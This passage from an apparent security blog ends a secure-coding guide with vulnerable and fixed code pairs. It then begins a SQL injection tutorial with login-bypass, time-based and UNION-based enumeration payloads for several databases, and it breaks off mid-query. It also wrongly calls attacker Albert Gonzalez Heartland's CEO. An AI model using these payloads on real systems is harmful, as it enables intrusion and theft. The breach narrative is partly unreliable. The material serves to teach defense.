}; } ``` --- ## Principle 5: Never Hardcode Secrets Hardcoded credentials are found constantly in public repositories. GitHub's secret scanning detected over 1 million exposed secrets in 2023. Any API key committed to a repository, even briefly and even to a private repo, must be considered compromised and rotated immediately. ```go // VULNERABLE — secrets in source code (stay in git history forever) package main const ( DBPassword = "SuperSecretPassword123!" JWTSecret = "my-jwt-secret-key" ) func connectDB() *sql.DB { dsn := "postgres://admin:" + DBPassword + "@prod-db:5432/app" db, _ := sql.Open("postgres", dsn) return db } // SAFE — load from environment import "os" func connectDB() (*sql.DB, error) { dsn := os.Getenv("DATABASE_URL") if dsn == "" { return nil, fmt.Errorf("DATABASE_URL environment variable is required") } return sql.Open("postgres", dsn) } ``` ### Secrets Management at Scale ```python # AWS Secrets Manager — retrieve secret at runtime import boto3 import json def get_db_credentials() -> dict: client = boto3.client('secretsmanager', region_name='us-east-1') response = client.get_secret_value(SecretId='prod/app/database') return json.loads(response['SecretString']) creds = get_db_credentials() connection_string = f"postgresql://{creds['username']}:{creds['password']}@{creds['host']}/{creds['dbname']}" ``` ```bash # HashiCorp Vault — retrieve secret vault kv get -field=password secret/prod/database # In Python: import hvac client = hvac.Client(url='https://vault.internal:8200', token=os.getenv('VAULT_TOKEN')) secret = client.secrets.kv.v2.read_secret_version(path='database/credentials') db_password = secret['data']['data']['password'] ``` ```bash # Detect secrets already in git history # TruffleHog — scans entire git history trufflehog git https://github.com/yourorg/yourrepo --concurrency=20 # gitleaks gitleaks detect --source . --verbose # Add pre-commit hook to prevent future commits pip install pre-commit cat > .pre-commit-config.yaml << 'EOF' repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.16.0 hooks: - id: gitleaks EOF pre-commit install ``` Deleting a secret from a git commit doesn't remove it from git history. If you accidentally commit a secret, assume it's compromised and rotate it immediately. Then rewrite the git history with `git filter-repo`. The rotation must happen before anything else, because someone may have already pulled the repo or a bot may have scraped it. Our guide to [leaked API keys](/leaked-api-keys-explained) walks through the first hour after a leak, provider by provider. Before pasting a log or config into a ticket or chat, run it through the [secret scanner](https://pwnsy.com/tools/secret-scanner/) to find and redact keys in your browser. --- ## Principle 6: Authorization Must Be Checked Server-Side on Every Request Access control bugs are the #1 finding in web security assessments (OWASP A01 2021). The most common pattern: the UI hides features from unauthorized users (correct), but the backend API endpoints those features call don't verify authorization (catastrophic). Hiding admin menu items from non-admin users is not authorization. Checking `req.user.role === 'admin'` on every admin API endpoint is authorization. ```typescript // VULNERABLE — frontend hides the button, backend doesn't check role // Frontend (React): // {user.role === 'admin' && } // Backend (Express) — missing role check: app.delete('/api/admin/users/:id', authenticate, async (req, res) => { // Only checks that a valid JWT exists — not that the user is an admin await db.users.delete({ id: req.params.id }); return res.json({ success: true }); }); // Attacker sends: DELETE /api/admin/users/123 with any valid JWT // User deleted — no admin role required ``` ```typescript // SAFE — middleware enforces role at the route level import { Request, Response, NextFunction } from 'express'; function requireRole(roles: string[]) { return (req: Request, res: Response, next: NextFunction) => { if (!req.user) { return res.status(401).json({ error: 'Authentication required' }); } if (!roles.includes(req.user.role)) { logger.warn('authz.violation', { userId: req.user.id, userRole: req.user.role, requiredRoles: roles, path: req.path, method: req.method, ip: req.ip, }); return res.status(403).json({ error: 'Insufficient permissions' }); } next(); }; } // Route-level enforcement — no way to access without being admin app.delete('/api/admin/users/:id', authenticate, requireRole(['admin', 'superadmin']), async (req, res) => { await db.users.delete({ id: req.params.id }); return res.json({ success: true }); } ); // Resource-level enforcement for IDOR prevention app.get('/api/invoices/:id', authenticate, async (req, res) => { const invoice = await db.invoices.findOne({ id: req.params.id, userId: req.user.id, // ALWAYS bind to authenticated user }); if (!invoice) return res.status(403).json({ error: 'Not found' }); return res.json(invoice); } ); ``` ### Row-Level Security at the Database Layer (Postgres) For critical applications, enforce authorization at the database level using Postgres Row Level Security (RLS). Even if the application code has a bug, the database will refuse to return unauthorized data. ```sql -- Enable RLS on the invoices table ALTER TABLE invoices ENABLE ROW LEVEL SECURITY; -- Policy: users can only see their own invoices CREATE POLICY user_invoices_policy ON invoices FOR SELECT USING (user_id = current_setting('app.current_user_id')::uuid); -- Policy: users can only update their own unpaid invoices CREATE POLICY user_invoices_update_policy ON invoices FOR UPDATE USING (user_id = current_setting('app.current_user_id')::uuid AND status = 'pending'); -- Admins can see all invoices CREATE POLICY admin_invoices_policy ON invoices FOR ALL USING (current_setting('app.current_role') = 'admin'); ``` ```python # Set the user context before any query def execute_user_query(user_id: str, user_role: str, query_func): with db.connection() as conn: conn.execute("SET app.current_user_id = %s", (user_id,)) conn.execute("SET app.current_role = %s", (user_role,)) return query_func(conn) ``` --- ## Principle 7: Error Handling Must Not Leak Internals Verbose error messages are a direct information disclosure vulnerability. A stack trace containing database schema, internal file paths, server version, and environment variables is a gift to an attacker. The 2017 Equifax breach was partly enabled by verbose Spring Framework error pages that revealed internal details about the application architecture. ```python # VULNERABLE — raw exception reaches the client @app.route('/search') def search(): query = request.args.get('q') results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'") # If the query throws: psycopg2.errors.SyntaxError: syntax error at or near "'" # LINE 1: SELECT * FROM products WHERE name LIKE '%'%' return jsonify(results.fetchall()) # Flask shows the full stack trace including DB type, file paths, query text ``` ```python # SAFE — structured error handling import logging import uuid logger = logging.getLogger(__name__) @app.errorhandler(Exception) def handle_error(error): error_id = str(uuid.uuid4())[:8] # Short ID for correlation logger.exception(f"Unhandled error [{error_id}]:", exc_info=error) # Log full details server-side, return only error ID to client return jsonify({'error': 'An unexpected error occurred', 'errorId': error_id}), 500 @app.route('/search') def search(): try: query = request.args.get('q', '') if not query or len(query) > 100: return jsonify({'error': 'Invalid query'}), 400 results = db.execute( "SELECT id, name, price FROM products WHERE name ILIKE %s LIMIT 20", (f'%{query}%',) ).fetchall() return jsonify([dict(r) for r in results]) except Exception as e: error_id = str(uuid.uuid4())[:8] logger.error(f"Search error [{error_id}]: {e}", exc_info=True) return jsonify({'error': 'Search unavailable', 'errorId': error_id}), 500 ``` ```go // Go — proper error handling with structured logging package main import ( "encoding/json" "log/slog" "net/http" "github.com/google/uuid" ) type ErrorResponse struct { Error string `json:"error"` ErrorID string `json:"errorId"` } func handleSearch(w http.ResponseWriter, r *http.Request) { query := r.URL.Query().Get("q") if query == "" || len(query) > 100 { writeJSON(w, http.StatusBadRequest, ErrorResponse{Error: "Invalid query"}) return } results, err := db.SearchProducts(query) if err != nil { errorID := uuid.New().String()[:8] slog.Error("search failed", "errorId", errorID, "query", query, "error", err, ) writeJSON(w, http.StatusInternalServerError, ErrorResponse{ Error: "Search unavailable", ErrorID: errorID, }) return } writeJSON(w, http.StatusOK, results) } ``` --- ## Principle 8: Security Headers Are Non-Negotiable Security headers are one-line configurations that activate browser-enforced protections. Missing headers contribute to XSS exploitability, clickjacking, MIME sniffing, and information disclosure. ```typescript // Express.js — Helmet.js sets all security headers import helmet from 'helmet'; app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", 'data:', 'https:'], connectSrc: ["'self'", 'https://api.example.com'], fontSrc: ["'self'"], objectSrc: ["'none'"], frameAncestors: ["'none'"], baseUri: ["'self'"], upgradeInsecureRequests: [], }, }, hsts: { maxAge: 63072000, includeSubDomains: true, preload: true, }, noSniff: true, frameguard: { action: 'deny' }, referrerPolicy: { policy: 'strict-origin-when-cross-origin' }, hidePoweredBy: true, })); ``` ```nginx # Nginx — equivalent configuration server { add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "DENY" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always; server_tokens off; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384; ssl_prefer_server_ciphers off; } ``` --- ## Principle 9: Dependency Security Is Application Security Your npm/pip/go.mod is an attack surface. The xz-utils backdoor discovered in March 2024 showed how a supply chain attack can spend months building trust in an open-source project before injecting malicious code. The attacker gained merge access to a critical compression library by submitting legitimate contributions for two years before inserting the backdoor. ```bash # Audit current dependencies npm audit --audit-level=moderate # Python pip-audit --requirement requirements.txt safety check # Go govulncheck ./... # Verify package integrity — use lockfiles and never skip them npm ci # Install from lockfile exactly — fails if package-lock.json doesn't match # Verify npm package signatures npm audit signatures ``` ```yaml # GitHub Actions — security scanning in CI name: Security Scan on: [push, pull_request] jobs: dependency-review: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/dependency-review-action@v4 with: fail-on-severity: moderate semgrep: runs-on: ubuntu-latest container: image: returntocorp/semgrep steps: - uses: actions/checkout@v4 - run: semgrep --config p/owasp-top-ten --config p/secrets --error ``` --- ## Principle 10: HTTPS, CORS, and Cookie Security Three configuration areas that developers frequently get wrong, each with direct security consequences. ### HTTPS Enforcement ```typescript // Express — enforce HTTPS in production app.use((req, res, next) => { if (req.headers['x-forwarded-proto'] !== 'https' && process.env.NODE_ENV === 'production') { return res.redirect(301, `https://${req.headers.host}${req.url}`); } next(); }); ``` ### CORS Configuration ```typescript // VULNERABLE — reflects any origin with credentials app.use((req, res, next) => { res.header('Access-Control-Allow-Origin', req.headers.origin); // any origin res.header('Access-Control-Allow-Credentials', 'true'); // with credentials next(); }); // Any website can make authenticated API calls to your server using the victim's session // SAFE — explicit allowlist const ALLOWED_ORIGINS = new Set([ 'https://app.example.com', 'https://admin.example.com', process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : '', ].filter(Boolean)); app.use(cors({ origin: (origin, callback) => { if (!origin || ALLOWED_ORIGINS.has(origin)) { callback(null, true); } else { callback(new Error(`CORS: origin ${origin} not allowed`)); } }, credentials: true, methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'], allowedHeaders: ['Content-Type', 'Authorization'], })); ``` ### Secure Cookie Configuration ```typescript // VULNERABLE — missing cookie security flags res.cookie('session', token); // No HttpOnly: JavaScript can read it (XSS → session theft) // No Secure: sent over HTTP (interception risk) // No SameSite: can be sent cross-site (CSRF attacks) // SAFE — all security flags set res.cookie('session', token, { httpOnly: true, // Prevents JavaScript access secure: true, // Only sent over HTTPS sameSite: 'strict', // Never sent in cross-site requests maxAge: 3600000, // 1 hour expiry path: '/', domain: '.example.com', }); ``` --- ## Static Analysis: Catching Issues Before Code Review SAST tools find security issues in source code before it runs. ```bash # Bandit — Python security linter pip install bandit bandit -r ./src -ll # report medium and high severity only bandit -r ./src -f json -o bandit_report.json # Common Bandit findings: # B608: SQL query construction from user input # B105: hardcoded password (heuristic) # B301: pickle deserialization (RCE risk) # B501: weak SSL/TLS version # gosec — Go security scanner go install github.com/securego/gosec/v2/cmd/gosec@latest gosec -severity medium ./... # Semgrep — multi-language, OWASP rules semgrep --config p/owasp-top-ten ./src semgrep --config p/secrets ./src # ESLint security plugin — JavaScript/TypeScript npm install --save-dev eslint-plugin-security eslint-plugin-no-unsanitized ``` --- ## Secure Coding Checklist Use this as a PR review checklist for any feature that handles user data, authentication, or sensitive operations: | Category | Check | Vulnerability Prevented | |---|---|---| | Input | All user input validated with type + range + format | Injection, business logic abuse | | Input | File uploads validated by MIME magic bytes, not Content-Type header | Web shell upload | | SQL | All DB queries use parameterized statements | SQL injection | | Output | Template output uses auto-escaping | XSS | | Output | `innerHTML` only used with DOMPurify-sanitized content | DOM XSS | | Auth | Passwords hashed with bcrypt/argon2 (not MD5/SHA) | Credential theft | | Auth | Login endpoint rate-limited (5 attempts/15min) | Brute force | | Auth | Session tokens are `HttpOnly; Secure; SameSite=Strict` | Session theft, CSRF | | AuthZ | Every resource query binds to `session.userId` | IDOR / Broken Access Control | | AuthZ | Every privileged endpoint checks user role | Privilege escalation | | Secrets | No credentials in source code or config files | Credential exposure | | Secrets | `.env` files are gitignored | Credential exposure | | Errors | No stack traces or DB error details in API responses | Information disclosure | | Headers | CSP, HSTS, X-Content-Type-Options, X-Frame-Options set | XSS, clickjacking | | CORS | Only specific trusted origins allowed | Cross-origin credential theft | | TLS | HTTP redirected to HTTPS; HSTS set | Data interception | | Deps | `npm audit` / `pip-audit` run in CI with failure threshold | Known CVEs | | SSRF | User-supplied URLs validated against blocklist for internal IPs | Cloud metadata theft | None of these require extra libraries, significant time investment, or architectural changes. They require habits. Build them in during initial development rather than retrofitting them after a pentest report. ## Where these vulnerability classes rank The ten principles above are not a random collection. Each targets a class of flaw that appears near the top of real-world vulnerability data year after year. Seeing them ranked by prevalence and impact helps you decide where habits matter most. | Vulnerability class | Root cause in code | Reference | Primary defense | |---|---|---|---| | Broken access control | Missing server-side authorization checks | OWASP A01, CWE-284 | Enforce authorization on every request and resource | | Injection | Untrusted input mixed with code or queries | OWASP A03, CWE-89, CWE-79 | Parameterized queries, context-aware encoding | | Cryptographic failures | Weak hashing, secrets in code, missing TLS | OWASP A02, CWE-327 | Argon2id or bcrypt, secrets manager, HTTPS | | Insecure design | Security not considered during design | OWASP A04 | Threat modeling before implementation | | Security misconfiguration | Default settings, verbose errors, missing headers | OWASP A05, CWE-16 | Hardened defaults, security headers, quiet errors | | Vulnerable components | Outdated or malicious dependencies | OWASP A06, CWE-1104 | Dependency scanning, lockfiles, audit in CI | | Identification and auth failures | Weak sessions, no rate limiting | OWASP A07, CWE-287 | Strong session flags, rate limits, MFA | | Server-side request forgery | Unvalidated user-supplied URLs | OWASP A10, CWE-918 | Validate and allowlist outbound targets | Access control sits at the top for a reason. It is the hardest class to catch with automated tooling, because whether a check is present is a question about intended behavior that a scanner cannot infer. A missing authorization check looks like perfectly valid code. This is why the discipline of binding every query to the authenticated user, shown in Principle 6, matters more than any single tool. Injection has fallen from its historic top spot, not because it disappeared, but because frameworks made the safe path the default path. Parameterized queries and auto-escaping templates removed most opportunities to make the mistake. The remaining injection bugs cluster around the escape hatches: raw query methods, dynamic query building, and templates rendered with escaping disabled. ## Threat modeling before you write code Every principle above is a control applied to code that already exists. Insecure design, listed as OWASP A04, is the class those controls cannot fix, because the flaw is in the shape of the system rather than the correctness of a line. A password reset flow that lets an attacker enumerate valid accounts is not a coding bug in any single function. It is a design that leaked information by construction. Threat modeling is the practice of asking, before implementation, what could go wrong. A lightweight version fits into any feature kickoff and needs no special tooling. Walk through four questions for the feature you are about to build. First, what are you building, described as data flows rather than screens. Draw where data enters, where it is stored, which components it crosses, and where trust boundaries sit. A trust boundary is any point where data moves from a less trusted zone to a more trusted one, such as the edge between the browser and your API. Second, what can go wrong at each boundary. A common structured approach considers spoofing an identity, tampering with data, repudiating an action, disclosing information, denying service, and elevating privilege. You do not need the acronym, you need the habit of asking each question at each boundary. Third, what will you do about each risk you found. Some you mitigate with a control, some you accept because the impact is low, and some you push elsewhere in the system. Writing the decision down is what separates threat modeling from worrying. Fourth, did you cover it. Revisit the model when the feature changes, because a design that was safe can become unsafe when a new data flow is added later. Threat modeling does not require a formal methodology or a dedicated meeting for small changes. For a single feature, spend fifteen minutes drawing the data flow and asking what an attacker gains by tampering with each input or reading each output. The value is in asking the questions before the code is written, when changing the design is still cheap. ## Building security into the development workflow Habits do not survive on willpower. They survive because the workflow makes the secure path the default and catches the insecure path automatically. Three layers of automation carry most of the load, and each catches a different class of mistake at a different moment. The first layer is the developer's own machine. Pre-commit hooks that run a secret scanner and a fast linter stop the most embarrassing mistakes, a hardcoded credential or an obviously unsafe function, before they ever reach the repository. Because they run in seconds, developers tolerate them, and because they run before the commit, they prevent the mistake rather than reporting it later. The second layer is continuous integration. This is where the slower, deeper checks belong: static analysis across the whole codebase, dependency auditing against known vulnerability databases, and secret scanning across the full history. Setting a failure threshold, such as failing the build on any high-severity finding, turns these from advisory noise into a gate. The GitHub Actions and Semgrep configurations shown earlier are the machinery for this layer. The third layer is code review by a human. Tools catch pattern-matchable flaws, and a reviewer catches the ones that require understanding intent: a missing authorization check, a business-logic flaw, a subtle trust boundary crossed without validation. The secure coding checklist earlier in this guide is meant to be used here, as a concrete list of questions a reviewer asks of any change that touches user data, authentication, or sensitive operations. None of these layers is sufficient alone. Local hooks are easy to bypass, CI catches patterns but not intent, and human review is slow and inconsistent without a checklist. Together they form a net where a flaw that slips through one layer is likely caught by another. This is the same defense-in-depth idea that runs through the code-level principles, applied to the process that produces the code. ## Common misconceptions Several beliefs lead capable developers into insecure code, and naming them directly helps. The first is that a framework makes an application secure by itself. Frameworks remove classes of mistake and provide safe defaults, and they also provide escape hatches, and the bugs migrate to those escape hatches. A raw query method, a template rendered with escaping off, or an authentication middleware applied to some routes and forgotten on others reintroduces the flaw the framework was preventing. The framework helps, and the developer still owns the outcome. The second is that input validation and output encoding are the same defense. They are complementary and both required. Validation decides whether input is acceptable at the boundary, and encoding decides how to safely render data in a specific output context. Data can pass validation and still be dangerous when placed in an HTML attribute or a JavaScript string without the right encoding. Validate on the way in, encode on the way out. The third is that hashing and encryption are interchangeable ways to protect passwords. They are not. Encryption is reversible by design, which means a stolen key exposes every password. Password storage needs a slow one-way hash such as Argon2id or bcrypt, from which the original cannot be recovered even by the system that stored it. Encrypting passwords is a serious mistake that looks like a security measure. The fourth is that internal services do not need the same rigor as public ones. The flat, trusted internal network is exactly what an attacker exploits after gaining a foothold. An internal API without authorization checks is an escalation path waiting to be used. Apply the same input handling, authorization, and secret management to internal services as to public ones. The fifth is that security work can be deferred to a hardening phase before release. Retrofitting security onto a design that did not account for it is expensive and incomplete. The cheap moment to prevent a class of flaw is while the code that would contain it is being written, which is why these are framed as habits rather than a checklist run once at the end. ## Frequently asked questions **Is client-side validation ever useful for security?** Client-side validation improves the user experience by giving instant feedback, and it has no security value on its own because an attacker bypasses it trivially with a direct request. Every rule enforced in the browser must also be enforced on the server, where the attacker cannot reach. Treat client-side checks as a convenience and server-side checks as the control. **How often should dependencies be updated?** Run an automated audit on every build and act on high-severity findings promptly rather than on a fixed calendar. Use lockfiles so builds are reproducible, and prefer a tool that opens update pull requests automatically so patches do not pile up. The xz-utils incident showed that a compromised dependency can be introduced deliberately, so pinning versions and reviewing changes matters as much as staying current. **Do I need Argon2id, or is bcrypt good enough?** Bcrypt with a work factor of at least 12 remains a sound choice and is widely supported. Argon2id is the current recommendation because its memory cost makes large-scale GPU and custom-hardware attacks more expensive, and it won the Password Hashing Competition for that reason. Either is acceptable when configured properly. What is not acceptable is a fast general-purpose hash such as MD5, SHA-1, or plain SHA-256 for passwords. **Where should secrets live if not in code?** In environment variables for simple deployments, and in a dedicated secrets manager such as AWS Secrets Manager or HashiCorp Vault for anything at scale. A secrets manager adds access control, auditing, and rotation that environment variables lack. Whatever the mechanism, a secret that ever reached source control must be rotated, because git history preserves it even after the line is deleted. **What is the difference between authentication and authorization?** Authentication establishes who the caller is, and authorization decides what that caller is allowed to do. mTLS or a login proves identity, and a role check or an ownership check enforces permission. Broken access control, the most common serious web flaw, is an authorization failure: the caller is correctly identified and is then allowed to do something they should not. **Can static analysis replace manual code review?** No. Static analysis reliably catches pattern-matchable flaws such as string-built SQL, hardcoded credentials, and unsafe deserialization, and it runs on every change without fatigue. It cannot reason about intent, so it misses missing authorization checks and business-logic flaws that look like valid code. Use static analysis to handle the mechanical findings so human reviewers can spend their attention on the judgment calls tooling cannot make. **What is the single highest-impact habit to adopt first?** Bind every data-access query to the authenticated user and check authorization on every request server-side. Broken access control is the most prevalent serious flaw, it is the hardest for tools to catch, and the fix is a discipline rather than a library. If you adopt one habit, make it the reflex of asking, on every endpoint, whether this specific user is allowed to touch this specific resource. **How should errors be handled so they help debugging without leaking internals?** Log the full detail server-side, including the stack trace, the query, and a correlation identifier, and return only a generic message and that same identifier to the client. Support can then find the exact server-side log for a reported error without the response ever exposing database schema, file paths, or version numbers to an attacker. A verbose error page is a reconnaissance gift, and a silent one frustrates your own team, so the correlation identifier is what satisfies both needs at once. **Does using HTTPS mean my application is secure?** HTTPS protects data in transit and is mandatory, and it does nothing about the flaws inside the application. An application served over HTTPS can still have injection, broken access control, weak password storage, and every other class listed here. Transport encryption is one layer among many, and it should be paired with HSTS to prevent downgrade and with secure cookie flags so the session it protects cannot be stolen through other paths. ## Related guides - [OWASP Top 10 Explained with Examples](/owasp-top-10-explained) - [SQL Injection Explained: How It Works and How to Stop It](/sql-injection-explained) - [Cross-Site Scripting (XSS): Attack Types and Prevention](/xss-attacks-explained) - [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks) - [How Passwords Get Cracked](/password-cracking-techniques) - [Log4Shell Explained](/log4shell-explained) - [Leaked API Keys Explained](/leaked-api-keys-explained) ### Sources - OWASP Top Ten (OWASP): https://owasp.org/www-project-top-ten/ - OWASP Cheat Sheet Series (OWASP): https://cheatsheetseries.owasp.org/ - NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html --- ## SQL Injection Explained: How It Works and How to Stop It > SQL injection has topped the web vulnerability list for decades. How attackers exploit it, real payload examples, and the defenses that actually work. - URL: https://blog.pwnsy.com/sql-injection-explained - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: web-security - Tags: sql-injection, web-security, owasp, penetration-testing, secure-coding - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - SQL injection is a failure to separate code from data, parameterized queries fix it completely, cost nothing in performance, and are supported by every major language and database driver. - All seven SQLi variants (classic, union-based, boolean blind, time-based blind, error-based, second-order, out-of-band) share one root cause and one primary fix: parameterized queries. - Second-order SQLi is the most underestimated variant, safe parameterized INSERTs give false confidence when the same data is later used in a string-concatenated query elsewhere in the codebase. - WAFs reduce attack surface but are not a substitute for fixing vulnerable code; encoding tricks and database-specific syntax routinely bypass WAF rules. ### Key Takeaways - String concatenation of user input into SQL queries is the root cause of all SQL injection; parameterized queries (not input sanitization or WAFs) are the only complete fix. - Real-world breaches (Heartland 2008: 130M cards, $200M cost; Sony PSN 2011: 77M accounts) demonstrate that SQLi vulnerabilities translate directly to catastrophic data loss and financial damage. - ORMs are safe by default but expose raw query interfaces (e.g., Prisma's queryRawUnsafe, SQLAlchemy's text() with format strings) that re-introduce injection risk when used with string concatenation. - Dynamic ORDER BY and column names cannot use parameterization and must be protected with strict server-side allowlists, user input must never reach the query structure directly. - Least-privilege database accounts limit the impact of successful SQLi: an app account with only SELECT/INSERT/UPDATE on specific tables cannot execute shell commands or drop databases even if injected. SQL injection has appeared on every OWASP Top 10 list since the list's inception in 2003. It's been responsible for some of the largest data breaches ever recorded. And it's still being found in production applications every single day, including at companies that have employed security teams for years. The reason for its persistence is simple: developers learn to build applications without learning to build them securely. String concatenation is the intuitive way to build a SQL query. Parameterization requires knowing why string concatenation is broken. That knowledge gap is where breaches happen. This post covers every major variant of SQL injection, walks through real exploitation steps with actual payloads, analyzes three historical breaches with technical detail, and provides working code for every defense. Looking for the right injection scanner or web app testing tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## What SQL Injection Actually Is At the most fundamental level, SQL injection is a failure to maintain the boundary between code and data. When you write application code, you have SQL code (the query structure) and SQL data (the values being queried). The database needs to know which is which. Parameterized queries maintain this boundary explicitly: you send the query structure first, the database compiles it, then you supply data values that get bound to placeholders. The database never interprets the data as code. String concatenation destroys the boundary: you construct one string that contains both the query structure and user-supplied data, then send the combined string to the database. The database parses the entire thing as SQL, and if the user-supplied data contains SQL syntax, it gets interpreted as part of the query structure. ```sql -- What the developer intended: SELECT * FROM products WHERE category = 'Electronics' AND price < 1000 -- The actual query when user supplies: Electronics' OR '1'='1 SELECT * FROM products WHERE category = 'Electronics' OR '1'='1' AND price < 1000 -- Due to operator precedence (AND binds tighter than OR), this is: SELECT * FROM products WHERE category = 'Electronics' OR ('1'='1' AND price < 1000) -- Which returns all Electronics AND any product under $1000 — not what was intended ``` The malicious input changed the meaning of the query. That's SQL injection. ## Historical Breaches: The Real Cost ### Heartland Payment Systems (2008): 130 Million Cards The Heartland breach began in late 2007 when attackers probed Heartland's web-facing applications and found SQL injection vulnerabilities. Once inside the database tier, they escalated access and installed packet-sniffing malware that intercepted unencrypted credit card data flowing through Heartland's payment processing network. **Scale:** 130 million credit and debit card numbers stolen over approximately six months before discovery in January 2009. **Cost:** Heartland paid $145 million in compensation to Visa and Mastercard. Total costs including fines, legal fees, and remediation exceeded $200 million. Heartland's CEO Albert Gonzalez was later arrested; his accomplices included carders from Eastern Europe who sold the stolen cards in bulk. **Technical detail:** The SQLi was reportedly in a standard web application, not Heartland's core payment processing code. The lateral movement from web tier to payment processor network happened through insufficient network segmentation: a web server that could reach the payment processing LAN. ### Sony Pictures (2011): 77 Million PlayStation Network Accounts In April 2011, the PlayStation Network was taken offline for 23 days after attackers compromised 77 million accounts. The breach included names, addresses, email addresses, birthdates, and for approximately 12,000 accounts, unencrypted credit card data. **Technical cause:** Publicly, Sony attributed the breach to a sophisticated attacker. Security researchers examining the exposed data noted the passwords appeared to be stored in a reversible or weakly-hashed format, and the initial access vector was consistent with SQL injection. A separate Sony Pictures breach in May 2011 explicitly involved SQLi, attackers published a post claiming the Sony Pictures database was compromised using "the most basic of SQL injections." **Cost:** Sony estimated the breach cost $171 million. The PlayStation Network was offline for 23 days, costing Sony an estimated $24 million in lost revenue. Sony also provided a year of free PlayStation Plus and identity theft protection to affected users. **Lesson:** The PSN breach preceded the Sony Pictures Entertainment breach by LulzSec in May 2011, which also used SQL injection. Two separate major SQLi breaches at the same company within weeks of each other. ### Marriott/Starwood (2018): 500 Million Records The Marriott/Starwood breach was disclosed in November 2018 but dated to 2014, four years of undetected access. Attackers compromised the Starwood guest reservation database before Marriott's 2016 acquisition, and the compromise continued through the acquisition entirely undetected. **Technical detail:** The initial access vector was not definitively confirmed publicly, but the UK Information Commissioner's Office (ICO) investigation found evidence of SQL injection techniques in the attacker's toolkit. The attribution to China's Ministry of State Security came from US intelligence agencies in 2018. **Scale:** 500 million guest records, including 327 million with full details: names, addresses, phone numbers, email addresses, passport numbers, and payment card data. **Cost:** ICO fined Marriott £18.4 million (reduced from an initial £99 million). Marriott also faced class-action suits and regulatory investigations across multiple jurisdictions. ## Authentication Bypass: The Basics Authentication bypass through SQL injection is the simplest variant, but it remains relevant because many internal tools, legacy systems, and admin panels contain exactly this pattern. ### Classic Login Form Bypass ```python # VULNERABLE backend code import sqlite3 def authenticate_user(username: str, password: str) -> bool: conn = sqlite3.connect('users.db') cursor = conn.cursor() # NEVER DO THIS query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" print(f"Executing: {query}") # For educational purposes cursor.execute(query) user = cursor.fetchone() return user is not None ``` **Attack payloads:** ``` username: admin'-- password: anything Resulting query: SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything' The -- comments out the password check. Logs in as admin. ``` ``` username: ' OR '1'='1'-- password: anything Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'anything' The OR '1'='1' evaluates to TRUE for every row. Returns the first user (usually admin). ``` ``` username: admin'/* password: */ AND '1'='1 Resulting query: SELECT * FROM users WHERE username = 'admin'/* AND password = '*/ AND '1'='1' The /* ... */ block comment eliminates the password check. ``` ### Testing for SQLi Manually The first step in any SQLi test is confirming the injection point exists: ```bash # Single quote — causes a syntax error if the value is inserted into SQL ' # Double quote — for identifiers " # Boolean true/false test — both should return the same result if no injection ' OR '1'='1 ' OR '1'='2 # Comment-based test '-- '# '/* # Time-based test — if this causes a 5-second delay, SQLi is confirmed ' AND SLEEP(5)-- # MySQL '; SELECT pg_sleep(5)-- # PostgreSQL '; WAITFOR DELAY '0:0:5'-- # MSSQL ``` ## Union-Based Extraction Union-based SQLi is used when the application reflects database output back in the HTTP response. The `UNION SELECT` appends a second query to the original, and both result sets are returned together. ### Step 1: Determine Column Count ```sql -- ORDER BY technique — increment until you get an error ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- -- if this causes an error, the original query returns 2 columns ' ORDER BY 4-- -- error confirms 3 columns -- NULL probing technique — more reliable, works across databases ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- -- when the error disappears, you have the count ``` ### Step 2: Find String-Compatible Columns Not all columns accept string output. Replace NULLs one at a time with a string literal: ```sql ' UNION SELECT 'pwnsy',NULL,NULL-- ' UNION SELECT NULL,'pwnsy',NULL-- ' UNION SELECT NULL,NULL,'pwnsy'-- ``` When `pwnsy` appears in the response, you know which column position outputs string data. ### Step 3: Extract Database Version and Enumerate Tables ```sql -- MySQL / MariaDB ' UNION SELECT NULL,@@version,NULL-- ' UNION SELECT NULL,database(),NULL-- ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -- PostgreSQL ' UNION SELECT NULL,version(),NULL-- ' UNION SELECT NULL,current_database(),NULL-- ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'-- -- Microsoft SQL Server ' UNION SELECT NULL,@@version,NULL-- ' UNION SELECT NULL,DB_NAME(),NULL-- ' UNION SELECT NULL,name,NULL FROM sys.tables-- -- Oracle ' UNION SELECT NULL,banner,NULL FROM v$version-- ' UNION SELECT NULL,table_name,NULL FROM all_tables-- ``` ### Step 4: Extract Target Table Data ```sql -- Find columns in the users table ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE 